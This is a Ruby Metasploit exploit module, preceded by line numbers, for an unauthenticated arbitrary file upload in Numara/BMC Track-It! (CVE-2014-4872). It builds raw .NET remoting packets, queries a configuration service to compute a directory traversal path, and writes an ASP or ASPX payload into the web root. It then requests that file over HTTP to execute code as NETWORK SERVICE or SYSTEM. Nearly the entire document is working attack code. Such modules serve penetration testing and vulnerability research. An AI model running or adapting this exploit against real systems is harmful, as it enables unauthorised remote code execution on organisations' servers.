1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Numara / BMC Track-It! FileStorageService Arbitrary File Upload', 'Description'=> %q{ This module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It! v8 to v11.X. The application exposes the FileStorageService .NET remoting service on port 9010 (9004 for version 8) which accepts unauthenticated uploads. This can be abused by a malicious user to upload a ASP or ASPX file to the web root leading to arbitrary code execution as NETWORK SERVICE or SYSTEM. This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, 10.0.0.143, 9.0.30.248 and 8.0.2.51. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>'# vulnerability discovery and MSF module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2014-4872' ], [ 'OSVDB', '112741' ], [ 'US-CERT-VU', '121036' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets'=> [ [ 'Numara / BMC Track-It! v9 to v11.X - Windows', {} ], ], 'Privileged' => false, 'DefaultTarget'=> 0, 'DisclosureDate' => 'Oct 7 2014' )) register_options( [ OptPort.new('RPORT', [true, 'TrackItWeb application port', 80]), OptPort.new('RPORT_REMOTING', [true, '.NET remoting service port', 9010]), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for ASP(X) file to be written', 15]), OptString.new('TARGETURI', [true, 'Base path to the TrackItWeb application', '/TrackItWeb/']) ], self.class) end def get_version res = send_request_cgi!({ 'uri'=> normalize_uri(datastore['TARGETURI']), 'method' => 'GET' }) if res and res.code == 200 and res.body.to_s =~ /\/TrackItWeb\/Content\.([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,4})\// version = $1.split(".") return version end end def check version = get_version if version != nil if (version[0].to_i < 11) or (version[0].to_i == 11 and version[1].to_i <= 3) or (version[0].to_i == 11 and version[1].to_i == 3 and version[2].to_i == 0 and version[3].to_i < 999) ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) if not sock.nil? sock.write(rand_text_alpha(rand(200) + 100)) res = sock.recv(1024) if res =~ /Tcp channel protocol violation: expecting preamble/ return Exploit::CheckCode::Appears end sock.close end else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Unknown end def longest_common_substr(strings) shortest = strings.min_by &:length maxlen = shortest.length maxlen.downto(0) do |len| 0.upto(maxlen - len) do |start| substr = shortest[start,len] return substr if strings.all?{|str| str.include? substr } end end end def get_traversal_path # # ConfigurationService packet structure: # # @packet_header_pre_packet_size # packet_size (4 bytes) # @packet_header_pre_uri_size # uri_size (2 bytes) # @packet_header_pre_uri # uri # @packet_header_post_uri # packet_body_start_pre_method_size # method_size (1 byte) # method # @packet_body_pre_type_size # type_size (1 byte) # @packet_body_pre_type # type # @packet_terminator # # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx # packet_body_start_pre_method_size = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12 ] service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt")) method = "GetProductDeploymentValues".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt")) type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service file_storage_dir_str = "FileStorageDataDirectory" web_data_dir_str = "WebDataCacheDirectory" packet_size = @packet_header_pre_uri_size.length + 2 + # uri_size @packet_header_pre_uri.length + uri.length + @packet_header_post_uri.length + packet_body_start_pre_method_size.length + 1 + # method_size method.length + @packet_body_pre_type_size.length + 1 + # type_size @packet_body_pre_type.length + type.length # start of packet and packet size (4 bytes) buf = @packet_header_pre_packet_size.pack('C*') buf << Array(packet_size).pack('L*') # uri size (2 bytes) buf << @packet_header_pre_uri_size.pack('C*') buf << Array(uri.length).pack('S*') # uri buf << @packet_header_pre_uri.pack('C*') buf << uri.bytes.to_a.pack('C*') buf << @packet_header_post_uri.pack('C*') # method name buf << packet_body_start_pre_method_size.pack('C*') buf << Array(method.length).pack('C*') buf << method.bytes.to_a.pack('C*') # type name buf << @packet_body_pre_type_size.pack('C*') buf << Array(type.length).pack('C*') buf << @packet_body_pre_type.pack('C*') buf << type.bytes.to_a.pack('C*') buf << @packet_terminator.pack('C*') ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") else print_status("#{rhost}:#{@remoting_port} - Getting traversal path...") end sock.write(buf) # read from the socket for up to (SLEEP / 2) seconds counter = 0 web_data_dir = nil file_storage_dir = nil while counter < datastore['SLEEP'] begin readable,writable,error = IO.select([sock], nil, nil, datastore['SLEEP'] / 2) if readable == nil break else sock = readable[0] end buf_reply = sock.readpartial(4096) if (index = (buf_reply.index(file_storage_dir_str))) != nil # after file_storage_dir_str, discard 5 bytes then get file_storage_dir_size size = buf_reply[index + file_storage_dir_str.length + 5,1].unpack('C*')[0] file_storage_dir = buf_reply[index + file_storage_dir_str.length + 6, size] if file_storage_dir != nil and web_data_dir != nil break end end if (index = (buf_reply.index(web_data_dir_str))) != nil # after web_data_dir_str, discard 5 bytes then get web_data_dir_size size = buf_reply[index + web_data_dir_str.length + 5,1].unpack('C*')[0] web_data_dir = buf_reply[index + web_data_dir_str.length + 6, size] if file_storage_dir != nil and web_data_dir != nil break end end counter += 1 sleep(0.5) rescue SystemCallError break end end sock.close if file_storage_dir != nil and web_data_dir != nil # Now we need to adjust the paths before we calculate the traversal_size # On the web_data_dir, trim the last part (the Cache directory) and add the Web\Installers part # which is the path accessible without authentication. # On the file_storage_dir, add the IncidentRepository part where the files land by default. # We then find the common string and calculate the traversal_path. web_data_dir = web_data_dir[0,web_data_dir.rindex("\\")] + "\\Web\\Installers\\" file_storage_dir << "\\Repositories\\IncidentRepository" common_str = longest_common_substr([file_storage_dir, web_data_dir]) traversal_size =file_storage_dir[common_str.rindex("\\"), file_storage_dir.length].scan("\\").length traversal_path = "..\\" * traversal_size + web_data_dir[common_str.rindex("\\") + 1,common_str.length] return traversal_path else return nil end # Note: version 8 always returns nil as the GetProductDeploymentValues does not exist end def send_file(traversal_path, filename, file_content) # # FileStorageService packet structure: # # @packet_header_pre_packet_size # packet_size (4 bytes) # @packet_header_pre_uri_size # uri_size (2 bytes) # @packet_header_pre_uri # uri # @packet_header_post_uri # packet_body_start_pre_method_size # method_size (1 byte) # method # @packet_body_pre_type_size # type_size (1 byte) # @packet_body_pre_type # type # packet_body_pre_repository_size # repository_size (1 byte) # repository # packet_body_pre_filepath_size # filepath_size (1 byte) # filepath # packet_body_pre_binary_lib_size # binary_lib_size (1 byte) # binary_lib # packet_body_pre_file_content_decl_size # file_content_decl_size (1 byte) # file_content_decl # packet_body_pre_filesize # file_size (4 bytes) # packet_body_pre_filecontent # file_content # @packet_terminator # # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx # packet_body_start_pre_method_size = [ 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x14, 0x00, 0x00, 0x00, 0x12 ] packet_body_pre_repository_size = [ 0x10, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0a, 0x09, 0x02, 0x00, 0x00, 0x00, 0x06, 0x03, 0x00, 0x00, 0x00 ] packet_body_pre_filepath_size = [ 0x06, 0x04, 0x00, 0x00, 0x00 ] packet_body_pre_binary_lib_size = [ 0x0c, 0x05, 0x00, 0x00, 0x00 ] packet_body_pre_file_content_decl_size = [ 0x05, 0x02, 0x00, 0x00, 0x00 ] packet_body_pre_file_size = [ 0x01, 0x00, 0x00, 0x00, 0x09, 0x5f, 0x72, 0x61, 0x77, 0x42, 0x79, 0x74, 0x65, 0x73, 0x07, 0x02, 0x05, 0x00, 0x00, 0x00, 0x09, 0x06, 0x00, 0x00, 0x00, 0x0f, 0x06, 0x00, 0x00, 0x00 ] packet_body_pre_filecontent = [ 0x02 ] service = "TrackIt.Core.FileStorageService".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) method = "Create" type = "TrackIt.Core.FileStorage.IFileStorageSecureDelegator, TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) repository = "IncidentRepository" binary_lib = "TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) file_content_decl = "TrackIt.Core.FileStorage.FileContent".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service filepath = traversal_path + filename packet_size = @packet_header_pre_uri_size.length + 2 + # uri_size @packet_header_pre_uri.length + uri.length + @packet_header_post_uri.length + packet_body_start_pre_method_size.length + 1 + # method_size method.length + @packet_body_pre_type_size.length + 1 + # type_size @packet_body_pre_type.length + type.length + packet_body_pre_repository_size.length + 1 + # repository_size repository.length + packet_body_pre_filepath_size.length + 1 + # filepath_size filepath.length + packet_body_pre_binary_lib_size.length + 1 + # binary_lib_size binary_lib.length + packet_body_pre_file_content_decl_size.length + 1 + # file_content_decl_size file_content_decl.length + packet_body_pre_file_size.length + 4 + # file_size packet_body_pre_filecontent.length + file_content.length # start of packet and packet size (4 bytes) buf = @packet_header_pre_packet_size.pack('C*') buf << Array(packet_size).pack('L*') # uri size (2 bytes) buf << @packet_header_pre_uri_size.pack('C*') buf << Array(uri.length).pack('S*') # uri buf << @packet_header_pre_uri.pack('C*') buf << uri.bytes.to_a.pack('C*') buf << @packet_header_post_uri.pack('C*') # method name buf << packet_body_start_pre_method_size.pack('C*') buf << Array(method.length).pack('C*') buf << method.bytes.to_a.pack('C*') # type name buf << @packet_body_pre_type_size.pack('C*') buf << Array(type.length).pack('C*') buf << @packet_body_pre_type.pack('C*') buf << type.bytes.to_a.pack('C*') # repository name buf << packet_body_pre_repository_size.pack('C*') buf << Array(repository.length).pack('C*') buf << repository.bytes.to_a.pack('C*') # filepath buf << packet_body_pre_filepath_size.pack('C*') buf << Array(filepath.length).pack('C*') buf << filepath.bytes.to_a.pack('C*') # binary lib name buf << packet_body_pre_binary_lib_size.pack('C*') buf << Array(binary_lib.length).pack('C*') buf << binary_lib.bytes.to_a.pack('C*') # file content decl buf << packet_body_pre_file_content_decl_size.pack('C*') buf << Array(file_content_decl.length).pack('C*') buf << file_content_decl.bytes.to_a.pack('C*') # file size (4 bytes) buf << packet_body_pre_file_size.pack('C*') buf << Array(file_content.length).pack('L*') # file contents buf << packet_body_pre_filecontent.pack('C*') buf << file_content buf << @packet_terminator.pack('C*') # send the packet and ignore the response ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") else print_status("#{rhost}:#{@remoting_port} - Uploading payload to #{filename}") end sock.write(buf) sock.close # We can't really register our files for cleanup as most of the time we run under the IIS user, not SYSTEM end def exploit @packet_header_pre_packet_size= [ 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 ] @packet_header_pre_uri_size = [ 0x04, 0x00, 0x01, 0x01 ] @packet_header_pre_uri = [ 0x00, 0x00 ] # contains binary type (application/octet-stream) @packet_header_post_uri = [ 0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, 0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x00, 0x00 ] @packet_body_pre_type_size = [ 0x12 ] @packet_body_pre_type = [ 0x01 ] @packet_terminator = [ 0x0b ] version = get_version if version != nil @version = version[0].to_i else # We assume it's version 9 or below because we couldn't find any version identifiers @version = 9 end @remoting_port = datastore['RPORT_REMOTING'] traversal_path = get_traversal_path if traversal_path == nil print_error("#{rhost}:#{@remoting_port} - Could not get traversal path, falling back to defaults") case @version when 9 traversal_path = "..\\..\\..\\..\\Web Add-On\\Web\\Installers\\" when 10 traversal_path = "..\\..\\..\\..\\..\\Numara Track-It! Web\\Web\\Installers\\" when 11 traversal_path = "..\\..\\..\\..\\..\\Track-It! Web\\Web\\Installers\\" end end # generate our payload exe = generate_payload_exe if @version == 9 file_content = Msf::Util::EXE.to_exe_asp(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".asp" else file_content = Msf::Util::EXE.to_exe_aspx(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx" end send_file(traversal_path, filename, file_content) # sleep a few seconds, sometimes the service takes a while to write to disk sleep(datastore['SLEEP']) print_status("#{peer} - Executing payload") res = send_request_cgi({ 'uri'=> normalize_uri(datastore['TARGETURI'], "Installers", filename), 'method' => 'GET' }) if res if res.code == 500 print_error("#{peer} - Got HTTP 500, trying again with " + (@version == 9 ? "ASPX" : "ASPX")) # try again but now use ASPX instead of ASP or vice-versa if @version == 9 file_content = Msf::Util::EXE.to_exe_aspx(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx" else file_content = Msf::Util::EXE.to_exe_asp(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".asp" end send_file(traversal_path, filename, file_content) # sleep a few seconds, sometimes the service takes a while to write to disk sleep(datastore['SLEEP']) print_status("#{peer} - Executing payload") res = send_request_cgi({ 'uri'=> normalize_uri(datastore['TARGETURI'], "Installers", filename), 'method' => 'GET' }) end end if not res or res.code != 200 fail_with(Exploit::Failure::Unknown, "#{peer} - Could not execute payload" + (res ? ", got HTTP code #{res.code.to_s}": "")) end handler end end |